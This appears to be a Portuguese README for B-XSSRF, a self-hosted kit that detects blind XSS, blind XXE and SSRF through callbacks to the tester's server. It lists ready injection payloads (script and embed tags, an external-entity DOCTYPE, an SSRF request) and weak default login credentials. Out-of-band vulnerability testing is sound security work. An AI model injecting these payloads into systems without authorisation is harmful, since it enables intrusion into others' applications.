B-XSSRF

Kit de ferramentas para detectar e rastrear Blind XSS, XXE e SSRF

CONFIGURAÇÃO

• Faça upload dos arquivos para o seu servidor.
• Crie um banco de dados e faça upload do arquivo database.sql para ele.
• Altere as Credenciais do BD no arquivo db.php.
• Pronto.

USO

BLIND XSS

<embed src="http://mysite.com/bxssrf/request.php">
<script src="http://mysite.com/bxssrf/request.php">

BLIND XXE

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://mysite.com/bxssrf/request.php"> %ext;
]>
<r></r>

SSRF

GET /testssrf.php=http://mysite.com/bxssrf/request.php

CREDENCIAIS PADRÃO

USER : [email protected]
PASS : 123456